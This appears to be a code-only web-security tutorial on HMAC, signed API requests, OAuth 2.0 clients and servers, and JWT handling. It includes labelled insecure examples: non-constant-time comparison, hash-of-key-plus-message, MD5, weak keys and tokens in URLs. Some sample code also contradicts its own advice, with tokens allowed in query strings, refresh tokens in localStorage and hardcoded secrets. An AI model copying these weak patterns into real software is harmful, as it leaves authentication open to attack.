        tag = hmac.new(self.key, message.encode(), hashlib.sha256).hexdigest()

        # Package message with tag
        package = {
            'message': message,
            'hmac': tag
        }
        return json.dumps(package)

    def receive(self, package_json):
        # Unpack message
        package = json.loads(package_json)
        message = package['message']
        received_tag = package['hmac']

        # Verify HMAC
        expected_tag = hmac.new(self.key, message.encode(), hashlib.sha256).hexdigest()

        if hmac.compare_digest(expected_tag, received_tag):
            return message, True
        else:
            return None, False

# Usage
shared_key = b"shared-secret-key-between-alice-and-bob"

# Alice sends message
alice = AuthenticatedMessage(shared_key)
package = alice.send("Transfer $100 to Bob")
print(f"Sent: {package}")

# Bob receives message
bob = AuthenticatedMessage(shared_key)
message, is_authentic = bob.receive(package)

if is_authentic:
    print(f"Authentic message: {message}")
else:
    print("Warning: Message tampered!")

# Attacker tries to tamper
tampered_package = package.replace("$100", "$999")
message, is_authentic = bob.receive(tampered_package)
print(f"Tampered authentic: {is_authentic}")  # False

import hmac
import hashlib
import os

class FileIntegrityChecker:
    def __init__(self, key):
        self.key = key

    def compute_file_hmac(self, filepath):
        mac = hmac.new(self.key, digestmod=hashlib.sha256)

        with open(filepath, 'rb') as f:
            while chunk := f.read(8192):
                mac.update(chunk)

        return mac.hexdigest()

    def create_manifest(self, files):
        manifest = {}
        for filepath in files:
            manifest[filepath] = self.compute_file_hmac(filepath)
        return manifest

    def verify_files(self, manifest):
        results = {}
        for filepath, expected_hmac in manifest.items():
            if not os.path.exists(filepath):
                results[filepath] = "MISSING"
            else:
                actual_hmac = self.compute_file_hmac(filepath)
                if hmac.compare_digest(expected_hmac, actual_hmac):
                    results[filepath] = "OK"
                else:
                    results[filepath] = "MODIFIED"
        return results

# Usage
checker = FileIntegrityChecker(b"integrity-check-key")

# Create manifest
files = ['config.json', 'app.py', 'data.db']
manifest = checker.create_manifest(files)
print("Manifest created:", manifest)

# Later, verify files
results = checker.verify_files(manifest)
for file, status in results.items():
    print(f"{file}: {status}")

import hmac
import hashlib
import time
import requests
from urllib.parse import urlencode

class APIClient:
    def __init__(self, api_key, api_secret):
        self.api_key = api_key
        self.api_secret = api_secret.encode()

    def generate_signature(self, method, path, params):
        # Create string to sign
        timestamp = str(int(time.time()))
        params['timestamp'] = timestamp
        params['api_key'] = self.api_key

        # Sort parameters
        sorted_params = sorted(params.items())
        query_string = urlencode(sorted_params)

        # String to sign: METHOD + PATH + QUERY_STRING
        message = f"{method}{path}{query_string}"

        # Generate HMAC signature
        signature = hmac.new(
            self.api_secret,
            message.encode(),
            hashlib.sha256
        ).hexdigest()

        return signature, timestamp

    def make_request(self, method, path, params=None):
        if params is None:
            params = {}

        # Generate signature
        signature, timestamp = self.generate_signature(method, path, params)

        # Add authentication headers
        headers = {
            'X-API-Key': self.api_key,
            'X-API-Signature': signature,
            'X-API-Timestamp': timestamp
        }

        # Make request
        url = f"https://api.example.com{path}"
        response = requests.request(method, url, params=params, headers=headers)

        return response

# Server-side verification
class APIServer:
    def __init__(self):
        # In practice, look up secret from database based on API key
        self.api_secrets = {
            'key123': b'secret123'
        }

    def verify_signature(self, api_key, signature, timestamp, method, path, params):
        # Check timestamp (prevent replay attacks)
        current_time = int(time.time())
        request_time = int(timestamp)

        if abs(current_time - request_time) > 300:  # 5 minutes
            return False, "Request expired"

        # Get API secret
        if api_key not in self.api_secrets:
            return False, "Invalid API key"

        api_secret = self.api_secrets[api_key]

        # Reconstruct signed message
        params['timestamp'] = timestamp
        params['api_key'] = api_key
        sorted_params = sorted(params.items())
        query_string = urlencode(sorted_params)
        message = f"{method}{path}{query_string}"

        # Compute expected signature
        expected_signature = hmac.new(
            api_secret,
            message.encode(),
            hashlib.sha256
        ).hexdigest()

        # Compare signatures (constant time)
        if hmac.compare_digest(expected_signature, signature):
            return True, "Valid"
        else:
            return False, "Invalid signature"

# Usage
client = APIClient('key123', 'secret123')
response = client.make_request('GET', '/api/users', {'limit': 10})

from flask import Flask, request, jsonify
import hmac
import hashlib

app = Flask(__name__)

API_SECRETS = {
    'client1': b'secret1',
    'client2': b'secret2'
}

def verify_hmac_signature():
    api_key = request.headers.get('X-API-Key')
    signature = request.headers.get('X-Signature')

    if not api_key or not signature:
        return False

    if api_key not in API_SECRETS:
        return False

    # Reconstruct signed data
    # Method + Path + Body (for POST/PUT)
    data = request.method + request.path

    if request.data:
        data += request.data.decode()

    # Compute expected signature
    expected = hmac.new(
        API_SECRETS[api_key],
        data.encode(),
        hashlib.sha256
    ).hexdigest()

    return hmac.compare_digest(expected, signature)

@app.route('/api/data', methods=['POST'])
def post_data():
    if not verify_hmac_signature():
        return jsonify({'error': 'Unauthorized'}), 401

    # Process request
    data = request.json
    return jsonify({'status': 'success', 'data': data})

# Client request example
import requests
import hmac
import hashlib

api_key = 'client1'
api_secret = b'secret1'
url = 'http://localhost:5000/api/data'
payload = {'key': 'value'}

# Create signature
data = 'POST' + '/api/data' + json.dumps(payload)
signature = hmac.new(api_secret, data.encode(), hashlib.sha256).hexdigest()

headers = {
    'X-API-Key': api_key,
    'X-Signature': signature,
    'Content-Type': 'application/json'
}

response = requests.post(url, json=payload, headers=headers)

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
|                                      |                                                                                |                                              |
            Header                                              Payload                                                              Signature

import hmac
import hashlib
import json
import base64

class JWT:
    def __init__(self, secret):
        self.secret = secret.encode()

    def base64url_encode(self, data):
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

    def base64url_decode(self, data):
        padding = 4 - len(data) % 4
        data += '=' * padding
        return base64.urlsafe_b64decode(data)

    def create_token(self, payload):
        # Header
        header = {
            'alg': 'HS256',
            'typ': 'JWT'
        }

        # Encode header and payload
        header_encoded = self.base64url_encode(json.dumps(header).encode())
        payload_encoded = self.base64url_encode(json.dumps(payload).encode())

        # Create signature
        message = f"{header_encoded}.{payload_encoded}".encode()
        signature = hmac.new(self.secret, message, hashlib.sha256).digest()
        signature_encoded = self.base64url_encode(signature)

        # Combine
        token = f"{header_encoded}.{payload_encoded}.{signature_encoded}"
        return token

    def verify_token(self, token):
        try:
            parts = token.split('.')
            if len(parts) != 3:
                return None, False

            header_encoded, payload_encoded, signature_encoded = parts

            # Verify signature
            message = f"{header_encoded}.{payload_encoded}".encode()
            expected_signature = hmac.new(self.secret, message, hashlib.sha256).digest()
            received_signature = self.base64url_decode(signature_encoded)

            if not hmac.compare_digest(expected_signature, received_signature):
                return None, False

            # Decode payload
            payload = json.loads(self.base64url_decode(payload_encoded))
            return payload, True

        except Exception as e:
            return None, False

# Usage
jwt = JWT('my-secret-key')

# Create token
payload = {
    'user_id': 12345,
    'username': 'john_doe',
    'exp': int(time.time()) + 3600  # Expires in 1 hour
}

token = jwt.create_token(payload)
print(f"JWT: {token}")

# Verify token
payload, is_valid = jwt.verify_token(token)
if is_valid:
    print(f"Valid token! User: {payload['username']}")
else:
    print("Invalid token!")

# Using PyJWT library (recommended)
import jwt as pyjwt

# Create token
token = pyjwt.encode(payload, 'my-secret-key', algorithm='HS256')

# Verify token
try:
    decoded = pyjwt.decode(token, 'my-secret-key', algorithms=['HS256'])
    print(f"Valid! Payload: {decoded}")
except pyjwt.InvalidTokenError:
    print("Invalid token!")

import hmac
import hashlib
import time

message = b"x" * 1000000  # 1 MB
key = b"secret-key"

# HMAC-SHA256
start = time.time()
for _ in range(100):
    hmac.new(key, message, hashlib.sha256).digest()
print(f"HMAC-SHA256: {time.time() - start:.3f}s")

# HMAC-SHA512
start = time.time()
for _ in range(100):
    hmac.new(key, message, hashlib.sha512).digest()
print(f"HMAC-SHA512: {time.time() - start:.3f}s")

# Output sizes
print(f"SHA256 output: {len(hmac.new(key, b'test', hashlib.sha256).digest())} bytes")
print(f"SHA512 output: {len(hmac.new(key, b'test', hashlib.sha512).digest())} bytes")

# Minimum key length = hash output size
# SHA-256: minimum 32 bytes
# SHA-512: minimum 64 bytes

# GOOD
key = os.urandom(32)  # 256 bits for HMAC-SHA256

# BAD - too short
key = b"secret"  # Only 48 bits!

# Better - derive from password
from hashlib import pbkdf2_hmac
key = pbkdf2_hmac('sha256', b'user-password', b'salt', 100000)

# VULNERABLE - timing attack
if computed_hmac == received_hmac:
    return True

# SECURE - constant time comparison
import hmac
if hmac.compare_digest(computed_hmac, received_hmac):
    return True

import time

def verify_request(hmac_tag, timestamp, max_age=300):
    # Verify HMAC first
    if not verify_hmac(hmac_tag):
        return False

    # Check timestamp (prevent replays)
    current_time = int(time.time())
    request_time = int(timestamp)

    if abs(current_time - request_time) > max_age:
        return False  # Request too old

    # Optional: Track used nonces to prevent replay
    # if nonce in used_nonces:
    #     return False

    return True

# BAD - same key for different purposes
encryption_key = b"shared-key"
hmac_key = b"shared-key"

# GOOD - derive separate keys
from hashlib import sha256

master_key = b"master-secret-key"
encryption_key = sha256(master_key + b"encryption").digest()
hmac_key = sha256(master_key + b"authentication").digest()

# BETTER - use HKDF (HMAC-based Key Derivation)
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.hkdf import HKDF

master_key = b"master-secret-key"

hkdf = HKDF(
    algorithm=hashes.SHA256(),
    length=32,
    salt=None,
    info=b'encryption',
)
encryption_key = hkdf.derive(master_key)

hkdf = HKDF(
    algorithm=hashes.SHA256(),
    length=32,
    salt=None,
    info=b'authentication',
)
hmac_key = hkdf.derive(master_key)

# Full HMAC (recommended)
mac = hmac.new(key, message, hashlib.sha256).digest()  # 32 bytes

# Truncated HMAC (if needed)
mac_truncated = hmac.new(key, message, hashlib.sha256).digest()[:16]  # 16 bytes

# Minimum recommended: 128 bits (16 bytes)
# Never go below 80 bits (10 bytes)

# ✓ Use HMAC
tag = hmac.new(key, message, hashlib.sha256).digest()

# ✗ Don't use simple hash
tag = hashlib.sha256(key + message).digest()  # Vulnerable!

# Modern: SHA-256 or SHA-512
hmac.new(key, message, hashlib.sha256)

# Avoid: MD5 or SHA-1
hmac.new(key, message, hashlib.md5)  # Don't use!

# Store keys securely
# - Use environment variables
# - Use key management service (AWS KMS, etc.)
# - Never hardcode in source code
# - Never commit to version control

import os
key = os.environ.get('HMAC_KEY').encode()

# Rotate keys periodically
# Support multiple active keys during rotation

# Sign complete context
data = {
    'timestamp': timestamp,
    'user_id': user_id,
    'action': action,
    'nonce': nonce
}

message = json.dumps(data, sort_keys=True).encode()
signature = hmac.new(key, message, hashlib.sha256).hexdigest()

# WRONG - timing attack
if hmac1 == hmac2:
    pass

# RIGHT - constant time
if hmac.compare_digest(hmac1, hmac2):
    pass

# WRONG - vulnerable to replay
signature = hmac.new(key, message, sha256).hexdigest()

# RIGHT - include timestamp
data = f"{timestamp}:{message}"
signature = hmac.new(key, data.encode(), sha256).hexdigest()

# WRONG - weak key
key = b"password"

# RIGHT - derive from password
from hashlib import pbkdf2_hmac
key = pbkdf2_hmac('sha256', b'password', b'salt', 100000)

Example: John who has a Google account with photos

Example: A photo printing service that wants access to John's photos

Example: Google's OAuth 2.0 authorization server

Example: Google Photos API server

1. Client redirects user to authorization server
2. User authenticates and grants permission
3. Authorization server redirects back with authorization code
4. Client exchanges code for access token
5. Client uses access token to access resources

1. Client redirects user to authorization server
2. User authenticates and grants permission
3. Authorization server redirects with access token in URL fragment

1. Client authenticates with client_id and client_secret
2. Authorization server returns access token
3. Client uses access token for API calls

1. User provides username and password to client
2. Client exchanges credentials for access token

1. Client generates code_verifier (random string)
2. Client creates code_challenge = hash(code_verifier)
3. Authorization request includes code_challenge
4. Token request includes code_verifier
5. Server verifies code_challenge matches code_verifier

GET /authorize?
  response_type=code&
  client_id=YOUR_CLIENT_ID&
  redirect_uri=https://yourapp.com/callback&
  scope=read:user read:email&
  state=random_string
  HTTP/1.1
Host: authorization-server.com

HTTP/1.1 302 Found
Location: https://yourapp.com/callback?
  code=AUTH_CODE&
  state=random_string

POST /token HTTP/1.1
Host: authorization-server.com
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&
code=AUTH_CODE&
redirect_uri=https://yourapp.com/callback&
client_id=YOUR_CLIENT_ID&
client_secret=YOUR_CLIENT_SECRET

{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "token_type": "Bearer",
  "expires_in": 3600,
  "refresh_token": "refresh_token_here",
  "scope": "read:user read:email"
}

GET /api/user HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

const express = require('express');
const axios = require('axios');
const crypto = require('crypto');

const app = express();

const CLIENT_ID = process.env.CLIENT_ID;
const CLIENT_SECRET = process.env.CLIENT_SECRET;
const REDIRECT_URI = 'http://localhost:3000/callback';
const AUTHORIZATION_URL = 'https://authorization-server.com/authorize';
const TOKEN_URL = 'https://authorization-server.com/token';

// Step 1: Initiate authorization
app.get('/login', (req, res) => {
  const state = crypto.randomBytes(16).toString('hex');
  req.session.state = state;

  const authUrl = new URL(AUTHORIZATION_URL);
  authUrl.searchParams.append('response_type', 'code');
  authUrl.searchParams.append('client_id', CLIENT_ID);
  authUrl.searchParams.append('redirect_uri', REDIRECT_URI);
  authUrl.searchParams.append('scope', 'read:user read:email');
  authUrl.searchParams.append('state', state);

  res.redirect(authUrl.toString());
});

// Step 2: Handle callback
app.get('/callback', async (req, res) => {
  const { code, state } = req.query;

  // Verify state
  if (state !== req.session.state) {
    return res.status(400).send('Invalid state');
  }

  try {
    // Exchange code for token
    const tokenResponse = await axios.post(TOKEN_URL, {
      grant_type: 'authorization_code',
      code,
      redirect_uri: REDIRECT_URI,
      client_id: CLIENT_ID,
      client_secret: CLIENT_SECRET,
    });

    const { access_token, refresh_token } = tokenResponse.data;

    // Store tokens securely
    req.session.access_token = access_token;
    req.session.refresh_token = refresh_token;

    res.redirect('/dashboard');
  } catch (error) {
    res.status(500).send('Authentication failed');
  }
});

// Step 3: Use access token
app.get('/api/user', async (req, res) => {
  const { access_token } = req.session;

  if (!access_token) {
    return res.status(401).send('Not authenticated');
  }

  try {
    const userResponse = await axios.get('https://api.example.com/user', {
      headers: {
        Authorization: `Bearer ${access_token}`,
      },
    });

    res.json(userResponse.data);
  } catch (error) {
    if (error.response?.status === 401) {
      // Token expired, refresh it
      return res.redirect('/refresh');
    }
    res.status(500).send('Failed to fetch user');
  }
});

// Refresh token
app.get('/refresh', async (req, res) => {
  const { refresh_token } = req.session;

  try {
    const tokenResponse = await axios.post(TOKEN_URL, {
      grant_type: 'refresh_token',
      refresh_token,
      client_id: CLIENT_ID,
      client_secret: CLIENT_SECRET,
    });

    req.session.access_token = tokenResponse.data.access_token;

    res.redirect('/dashboard');
  } catch (error) {
    res.redirect('/login');
  }
});

const axios = require('axios');

async function getAccessToken() {
  const response = await axios.post(
    'https://authorization-server.com/token',
    {
      grant_type: 'client_credentials',
      client_id: process.env.CLIENT_ID,
      client_secret: process.env.CLIENT_SECRET,
      scope: 'api:read api:write',
    },
    {
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
      },
    }
  );

  return response.data.access_token;
}

async function callAPI() {
  const token = await getAccessToken();

  const apiResponse = await axios.get('https://api.example.com/data', {
    headers: {
      Authorization: `Bearer ${token}`,
    },
  });

  return apiResponse.data;
}

// Usage
callAPI()
  .then(data => console.log(data))
  .catch(error => console.error(error));

npm install express oauth2-server

const express = require('express');
const OAuth2Server = require('oauth2-server');
const Request = OAuth2Server.Request;
const Response = OAuth2Server.Response;

const app = express();

// OAuth2 model
const model = {
  getClient: async (clientId, clientSecret) => {
    // Fetch client from database
    const client = await db.clients.findOne({ clientId });

    if (!client || (clientSecret && client.clientSecret !== clientSecret)) {
      return null;
    }

    return {
      id: client.id,
      grants: ['authorization_code', 'refresh_token'],
      redirectUris: client.redirectUris,
    };
  },

  saveToken: async (token, client, user) => {
    // Save token to database
    await db.tokens.create({
      accessToken: token.accessToken,
      accessTokenExpiresAt: token.accessTokenExpiresAt,
      refreshToken: token.refreshToken,
      refreshTokenExpiresAt: token.refreshTokenExpiresAt,
      client: client.id,
      user: user.id,
    });

    return token;
  },

  getAccessToken: async (accessToken) => {
    const token = await db.tokens.findOne({ accessToken });

    if (!token) return null;

    return {
      accessToken: token.accessToken,
      accessTokenExpiresAt: token.accessTokenExpiresAt,
      client: { id: token.client },
      user: { id: token.user },
    };
  },

  getAuthorizationCode: async (authorizationCode) => {
    const code = await db.authCodes.findOne({ code: authorizationCode });

    if (!code) return null;

    return {
      code: code.code,
      expiresAt: code.expiresAt,
      redirectUri: code.redirectUri,
      client: { id: code.client },
      user: { id: code.user },
    };
  },

  saveAuthorizationCode: async (code, client, user) => {
    await db.authCodes.create({
      code: code.authorizationCode,
      expiresAt: code.expiresAt,
      redirectUri: code.redirectUri,
      client: client.id,
      user: user.id,
    });

    return code;
  },

  revokeAuthorizationCode: async (code) => {
    await db.authCodes.delete({ code: code.code });
    return true;
  },

  verifyScope: async (token, scope) => {
    if (!token.scope) return false;
    const requestedScopes = scope.split(' ');
    const authorizedScopes = token.scope.split(' ');
    return requestedScopes.every(s => authorizedScopes.includes(s));
  },
};

const oauth = new OAuth2Server({
  model: model,
  accessTokenLifetime: 3600,
  allowBearerTokensInQueryString: true,
});

// Authorization endpoint
app.get('/authorize', async (req, res) => {
  const request = new Request(req);
  const response = new Response(res);

  try {
    // Authenticate user (implement your own logic)
    const user = await authenticateUser(req);

    if (!user) {
      return res.redirect('/login');
    }

    const code = await oauth.authorize(request, response, {
      authenticateHandler: {
        handle: () => user,
      },
    });

    res.redirect(`${code.redirectUri}?code=${code.authorizationCode}&state=${req.query.state}`);
  } catch (error) {
    res.status(error.code || 500).json(error);
  }
});

// Token endpoint
app.post('/token', async (req, res) => {
  const request = new Request(req);
  const response = new Response(res);

  try {
    const token = await oauth.token(request, response);
    res.json(token);
  } catch (error) {
    res.status(error.code || 500).json(error);
  }
});

// Protected resource
app.get('/api/resource', async (req, res) => {
  const request = new Request(req);
  const response = new Response(res);

  try {
    const token = await oauth.authenticate(request, response);
    res.json({ message: 'Protected resource', user: token.user });
  } catch (error) {
    res.status(error.code || 401).json({ error: 'Unauthorized' });
  }
});

const passport = require('passport');
const GoogleStrategy = require('passport-google-oauth20').Strategy;

passport.use(new GoogleStrategy({
    clientID: process.env.GOOGLE_CLIENT_ID,
    clientSecret: process.env.GOOGLE_CLIENT_SECRET,
    callbackURL: "http://localhost:3000/auth/google/callback"
  },
  function(accessToken, refreshToken, profile, cb) {
    // Find or create user in your database
    User.findOrCreate({ googleId: profile.id }, function (err, user) {
      return cb(err, user);
    });
  }
));

app.get('/auth/google',
  passport.authenticate('google', { scope: ['profile', 'email'] })
);

app.get('/auth/google/callback',
  passport.authenticate('google', { failureRedirect: '/login' }),
  function(req, res) {
    res.redirect('/dashboard');
  }
);

const GitHubStrategy = require('passport-github2').Strategy;

passport.use(new GitHubStrategy({
    clientID: process.env.GITHUB_CLIENT_ID,
    clientSecret: process.env.GITHUB_CLIENT_SECRET,
    callbackURL: "http://localhost:3000/auth/github/callback"
  },
  function(accessToken, refreshToken, profile, done) {
    User.findOrCreate({ githubId: profile.id }, function (err, user) {
      return done(err, user);
    });
  }
));

app.get('/auth/github',
  passport.authenticate('github', { scope: [ 'user:email' ] })
);

app.get('/auth/github/callback',
  passport.authenticate('github', { failureRedirect: '/login' }),
  function(req, res) {
    res.redirect('/dashboard');
  }
);

class OAuth2Client {
  constructor(config) {
    this.clientId = config.clientId;
    this.clientSecret = config.clientSecret;
    this.redirectUri = config.redirectUri;
    this.authorizationUrl = config.authorizationUrl;
    this.tokenUrl = config.tokenUrl;
  }

  getAuthorizationUrl(state, scope) {
    const params = new URLSearchParams({
      response_type: 'code',
      client_id: this.clientId,
      redirect_uri: this.redirectUri,
      scope: scope.join(' '),
      state,
    });

    return `${this.authorizationUrl}?${params.toString()}`;
  }

  async exchangeCodeForToken(code) {
    const response = await fetch(this.tokenUrl, {
      method: 'POST',
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
      },
      body: new URLSearchParams({
        grant_type: 'authorization_code',
        code,
        redirect_uri: this.redirectUri,
        client_id: this.clientId,
        client_secret: this.clientSecret,
      }),
    });

    if (!response.ok) {
      throw new Error('Token exchange failed');
    }

    return await response.json();
  }

  async refreshToken(refreshToken) {
    const response = await fetch(this.tokenUrl, {
      method: 'POST',
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
      },
      body: new URLSearchParams({
        grant_type: 'refresh_token',
        refresh_token: refreshToken,
        client_id: this.clientId,
        client_secret: this.clientSecret,
      }),
    });

    if (!response.ok) {
      throw new Error('Token refresh failed');
    }

    return await response.json();
  }

  async getUserInfo(accessToken) {
    const response = await fetch('https://api.example.com/user', {
      headers: {
        Authorization: `Bearer ${accessToken}`,
      },
    });

    if (!response.ok) {
      throw new Error('Failed to fetch user info');
    }

    return await response.json();
  }
}

// Usage
const client = new OAuth2Client({
  clientId: process.env.CLIENT_ID,
  clientSecret: process.env.CLIENT_SECRET,
  redirectUri: 'http://localhost:3000/callback',
  authorizationUrl: 'https://provider.com/authorize',
  tokenUrl: 'https://provider.com/token',
});

// Generate authorization URL
const authUrl = client.getAuthorizationUrl('random_state', ['read:user', 'read:email']);

// Exchange code for token
const tokens = await client.exchangeCodeForToken('authorization_code');

// Get user info
const user = await client.getUserInfo(tokens.access_token);

All OAuth 2.0 endpoints must use HTTPS to prevent token interception

function validateRedirectUri(redirectUri, registeredUris) {
  return registeredUris.includes(redirectUri);
}

const state = crypto.randomBytes(32).toString('hex');
req.session.oauthState = state;

// Verify on callback
if (req.query.state !== req.session.oauthState) {
  throw new Error('Invalid state parameter');
}

// Generate code verifier
const codeVerifier = crypto.randomBytes(32).toString('base64url');

// Generate code challenge
const codeChallenge = crypto
  .createHash('sha256')
  .update(codeVerifier)
  .digest('base64url');

// Store code verifier
req.session.codeVerifier = codeVerifier;

// Include in authorization request
const authUrl = `${AUTHORIZATION_URL}?code_challenge=${codeChallenge}&code_challenge_method=S256`;

// Never store tokens in localStorage or sessionStorage
// Use secure, httpOnly cookies
res.cookie('access_token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  maxAge: 3600000,
});

// Always set token expiration
{
  "access_token": "...",
  "expires_in": 3600,
  "refresh_token": "..."
}

// Check expiration before use
if (Date.now() >= tokenExpiresAt) {
  // Refresh token
  await refreshAccessToken();
}

// Request only necessary scopes
const scopes = ['read:user', 'read:email']; // Don't request write access if not needed

// Validate scopes on the server
function validateScopes(requestedScopes, userGrantedScopes) {
  return requestedScopes.every(scope => userGrantedScopes.includes(scope));
}

// Generate PKCE parameters
const codeVerifier = generateCodeVerifier();
const codeChallenge = generateCodeChallenge(codeVerifier);

// Store code_verifier securely
// Include code_challenge in authorization request

// Strictly validate redirect URIs
const ALLOWED_REDIRECT_URIS = [
  'https://app.example.com/callback',
  'https://app.example.com/oauth/callback'
];

function validateRedirectUri(uri) {
  return ALLOWED_REDIRECT_URIS.includes(uri);
}

// Always use state parameter
const state = crypto.randomBytes(16).toString('hex');
req.session.state = state;

// Verify state on callback
if (req.query.state !== req.session.state) {
  throw new Error('CSRF detected');
}

// Never include tokens in URLs
// ❌ Bad
window.location.href = `/api/data?token=${accessToken}`;

// ✅ Good
fetch('/api/data', {
  headers: {
    'Authorization': `Bearer ${accessToken}`
  }
});

async function validateToken(token) {
  // 1. Verify token signature
  // 2. Check expiration
  // 3. Verify issuer
  // 4. Verify audience
  // 5. Check revocation status

  if (token.exp < Date.now() / 1000) {
    throw new Error('Token expired');
  }

  if (token.iss !== EXPECTED_ISSUER) {
    throw new Error('Invalid issuer');
  }

  // Check if token is revoked
  const isRevoked = await checkRevocationList(token.jti);
  if (isRevoked) {
    throw new Error('Token revoked');
  }

  return true;
}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

{
  "alg": "HS256",
  "typ": "JWT"
}

{
  "sub": "1234567890",
  "name": "John Doe",
  "email": "john@example.com",
  "iat": 1516239022,
  "exp": 1516242622,
  "roles": ["user", "admin"]
}

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret
)

1. User logs in with credentials
   ↓
2. Server validates credentials
   ↓
3. Server creates JWT with user info
   ↓
4. Server sends JWT to client
   ↓
5. Client stores JWT (localStorage/cookie)
   ↓
6. Client sends JWT with each request
   ↓
7. Server verifies JWT signature
   ↓
8. Server grants/denies access

npm install jsonwebtoken

const jwt = require('jsonwebtoken');

const SECRET_KEY = process.env.JWT_SECRET;

function generateToken(user) {
  const payload = {
    sub: user.id,
    email: user.email,
    name: user.name,
    roles: user.roles,
  };

  const options = {
    expiresIn: '1h',
    issuer: 'your-app-name',
    audience: 'your-app-users',
  };

  return jwt.sign(payload, SECRET_KEY, options);
}

// Usage
const token = generateToken({
  id: 123,
  email: 'john@example.com',
  name: 'John Doe',
  roles: ['user'],
});

console.log(token);

function verifyToken(token) {
  try {
    const decoded = jwt.verify(token, SECRET_KEY, {
      issuer: 'your-app-name',
      audience: 'your-app-users',
    });

    return decoded;
  } catch (error) {
    if (error.name === 'TokenExpiredError') {
      throw new Error('Token expired');
    }
    if (error.name === 'JsonWebTokenError') {
      throw new Error('Invalid token');
    }
    throw error;
  }
}

// Usage
try {
  const decoded = verifyToken(token);
  console.log('User:', decoded);
} catch (error) {
  console.error('Verification failed:', error.message);
}

const jwt = require('jsonwebtoken');

function authenticateToken(req, res, next) {
  const authHeader = req.headers['authorization'];
  const token = authHeader && authHeader.split(' ')[1]; // Bearer TOKEN

  if (!token) {
    return res.status(401).json({ error: 'Access token required' });
  }

  try {
    const user = jwt.verify(token, process.env.JWT_SECRET);
    req.user = user;
    next();
  } catch (error) {
    return res.status(403).json({ error: 'Invalid or expired token' });
  }
}

// Protected route
app.get('/api/protected', authenticateToken, (req, res) => {
  res.json({
    message: 'Protected data',
    user: req.user,
  });
});

import jwt
import datetime
from functools import wraps
from flask import request, jsonify

SECRET_KEY = "your-secret-key"

def generate_token(user_id, email):
    payload = {
        'sub': user_id,
        'email': email,
        'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1),
        'iat': datetime.datetime.utcnow(),
        'iss': 'your-app-name'
    }

    return jwt.encode(payload, SECRET_KEY, algorithm='HS256')

def verify_token(token):
    try:
        decoded = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=['HS256'],
            issuer='your-app-name'
        )
        return decoded
    except jwt.ExpiredSignatureError:
        raise Exception('Token expired')
    except jwt.InvalidTokenError:
        raise Exception('Invalid token')

# Decorator for protected routes
def token_required(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        token = request.headers.get('Authorization')

        if not token:
            return jsonify({'error': 'Token missing'}), 401

        try:
            token = token.split(' ')[1]  # Remove 'Bearer '
            decoded = verify_token(token)
            request.user = decoded
        except Exception as e:
            return jsonify({'error': str(e)}), 403

        return f(*args, **kwargs)

    return decorated

# Protected route
@app.route('/api/protected')
@token_required
def protected():
    return jsonify({
        'message': 'Protected data',
        'user': request.user
    })

const express = require('express');
const jwt = require('jsonwebtoken');
const bcrypt = require('bcrypt');
const router = express.Router();

const SECRET_KEY = process.env.JWT_SECRET;
const REFRESH_SECRET = process.env.REFRESH_SECRET;

// Login
router.post('/login', async (req, res) => {
  const { email, password } = req.body;

  // Find user in database
  const user = await User.findOne({ email });

  if (!user) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // Verify password
  const isValidPassword = await bcrypt.compare(password, user.password);

  if (!isValidPassword) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // Generate tokens
  const accessToken = jwt.sign(
    {
      sub: user.id,
      email: user.email,
      roles: user.roles,
    },
    SECRET_KEY,
    { expiresIn: '15m' }
  );

  const refreshToken = jwt.sign(
    { sub: user.id },
    REFRESH_SECRET,
    { expiresIn: '7d' }
  );

  // Store refresh token in database
  await RefreshToken.create({
    token: refreshToken,
    userId: user.id,
    expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
  });

  // Send tokens
  res.json({
    accessToken,
    refreshToken,
    user: {
      id: user.id,
      email: user.email,
      name: user.name,
    },
  });
});

// Refresh token
router.post('/refresh', async (req, res) => {
  const { refreshToken } = req.body;

  if (!refreshToken) {
    return res.status(401).json({ error: 'Refresh token required' });
  }

  try {
    // Verify refresh token
    const decoded = jwt.verify(refreshToken, REFRESH_SECRET);

    // Check if refresh token exists in database
    const storedToken = await RefreshToken.findOne({
      token: refreshToken,
      userId: decoded.sub,
    });

    if (!storedToken) {
      return res.status(403).json({ error: 'Invalid refresh token' });
    }

    // Get user
    const user = await User.findById(decoded.sub);

    // Generate new access token
    const accessToken = jwt.sign(
      {
        sub: user.id,
        email: user.email,
        roles: user.roles,
      },
      SECRET_KEY,
      { expiresIn: '15m' }
    );

    res.json({ accessToken });
  } catch (error) {
    return res.status(403).json({ error: 'Invalid refresh token' });
  }
});

// Logout
router.post('/logout', authenticateToken, async (req, res) => {
  const { refreshToken } = req.body;

  // Remove refresh token from database
  await RefreshToken.deleteOne({
    token: refreshToken,
    userId: req.user.sub,
  });

  res.json({ message: 'Logged out successfully' });
});

module.exports = router;

class AuthService {
  constructor() {
    this.accessToken = null;
    this.refreshToken = localStorage.getItem('refreshToken');
  }

  async login(email, password) {
    const response = await fetch('/api/auth/login', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ email, password }),
    });

